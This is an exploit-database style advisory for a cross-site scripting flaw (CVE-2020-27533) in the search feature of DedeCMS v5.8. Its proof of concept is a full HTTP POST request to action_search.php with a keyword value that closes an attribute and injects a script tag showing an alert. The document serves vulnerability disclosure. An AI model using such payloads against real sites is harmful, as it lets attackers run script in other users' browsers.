DedeCMS v.5.8 - "keyword" Cross-Site Scripting

# Exploit Title:  DedeCMS v.5.8 - "keyword" Cross-Site Scripting
# Date: 2020-07-27
# Exploit Author: Noth
# Vendor Homepage: https://github.com/dedetech/DedeCMSv5
# Software Link: https://github.com/dedetech/DedeCMSv5
# Version: v.5.8
# CVE : CVE-2020-27533

A Cross Site Scripting (XSS) issue was discovered in the search feature of DedeCMS v.5.8 that allows malicious users to inject code into web pages, and other users will be affected when viewing web pages.

PoC :

POST /DedeCMSv5-master/src/dede/action_search.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-TW,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 47
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/DedeCMSv5-master/src/dede/
Cookie: menuitems=1_1%2C2_1%2C3_1; PHPSESSID=dgj9gs48q9nbrckdq0ei5grjd7; _csrf_name_7ac3ea0e=8a824367d97bb8f984d4af7a1ad11308; _csrf_name_7ac3ea0e__ckMd5=c692dd4f707ea756; DedeUserID=1; DedeUserID__ckMd5=7e44b1ee92d784aa; DedeLoginTime=1603530632; DedeLoginTime__ckMd5=69967c5a8db15fb4; dede_csrf_token=80866e4429220e784f2514d38de9a5ea; dede_csrf_token__ckMd5=de396c60d5d75d93
Upgrade-Insecure-Requests: 1

keyword="><script>alert(1)</script>